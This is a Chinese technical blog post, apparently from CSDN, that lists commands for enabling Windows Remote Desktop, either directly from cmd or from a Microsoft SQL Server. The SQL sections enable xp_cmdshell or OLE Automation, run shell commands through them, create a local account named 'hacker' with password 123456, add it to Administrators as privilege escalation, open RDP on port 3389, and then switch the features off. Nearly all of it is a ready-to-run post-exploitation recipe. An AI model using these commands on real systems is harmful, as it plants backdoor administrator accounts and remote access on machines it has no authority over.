开启rdp--命令集

该博客主要介绍在Windows系统下开启远程桌面协议(RDP)的方法。包括使用cmd命令开启,如设置端口、开启和关闭远程桌面等操作;还介绍了通过mssql开启,如利用xp_cmdshell和sp_oacreate - sp_oamethod两种方式,涉及提权、设置端口等步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、cmd命令开启rdp

二、mssql开启rdp

1、利用xp_cmdshell开启rdp

2、利用sp_oacreate--sp_oamethod开启rdp


一、cmd命令开启rdp

1.设置远程桌面端口

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

2.开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

3.检查端口状态

netstat -an|find "3389"

4.关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

二、mssql开启rdp

1、利用xp_cmdshell开启rdp

1.打开扩展存储过程xp_cmdshell

use master
go
reconfigure --先执行一次刷新,处理上次的配置
exec sp_configure 'show advanced option',1 --启用xp_cmdshell的高级配置
go
reconfigure
go
exec sp_configure 'xp_cmdshell',1  --打开xp_cmdshell,可以调用SQL系统之外的命令
go
reconfigure
go

2.添加新用户,并将用户添加到管理员组(提权)--可用于登录rdp

exec xp_cmdshell 'net user hacker 123456 /add';
exec xp_cmdshell 'net localgroup administrators hacker /add';
exec xp_cmdshell 'net user'
go

3.设置rdp端口,并开启rdp

EXEC xp_cmdshell 'reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f' --设置远程桌面端口
EXEC xp_cmdshell '
wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 1' --开启远程桌面;若wmic没安装、会自动安装、需要稍等一会

4.检查端口状态

EXEC xp_cmdshell 'netstat -an|find "3389"' --检查端口状态

5.关闭远程桌面

EXEC xp_cmdshell 'wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 0' --关闭远程桌面

6.关闭扩展存储过程xp_cmdshell

EXEC sp_configure 'show advanced options','1' --确保show advances options 的值为1,这样才可以执行xp_cmdshell为0的操作
go
reconfigure
go
EXEC sp_configure 'xp_cmdshell',0 --关闭xp_cmdshell
go
reconfigure
go
EXEC sp_configure 'show advanced options','0' --关闭show advanced options
go
reconfigure
go

2、利用sp_oacreate--sp_oamethod开启rdp

1.启用 OLE Automation Procedures

-- 启用显示高级选项
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
-- 启用 OLE Automation Procedures
EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE WITH OVERRIDE;

2.添加新用户,并将用户添加到管理员组(提权)--可用于登录rdp

declare @shellx int
exec sp_oacreate 'wscript.shell',@shellx output
exec sp_oamethod @shellx,'run',null,'net user hacker 123456 /add' -- 添加新用户
exec sp_oamethod @shellx,'run',null,'net localgroup Administrators hacker /add' -- 将用户添加到管理员组的命令

3.设置rdp端口,并开启rdp

declare @shellx int
exec sp_oacreate 'wscript.shell',@shellx output
exec sp_oamethod @shellx,'run',null,'c:\windows\system32\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f '
exec sp_oamethod @shellx,'run',null,'c:\windows\system32\cmd.exe /c wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 1 '

4.关闭远程桌面

declare @shellx int
exec sp_oacreate 'wscript.shell',@shellx output
exec sp_oamethod @shellx,'run',null,'c:\windows\system32\cmd.exe /c wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%" call SetAllowTSConnections 0'

5.关闭 OLE Automation Procedures

exec sp_configure 'show advanced options',1 --确保show advances options 的值为1
RECONFIGURE
exec sp_configure 'ole Automation Procedures',0 --关闭OLE Automation Procedures
RECONFIGURE
exec sp_configure 'show advanced options',0 --关闭高级配置
RECONFIGURE

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

king_wzhua

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值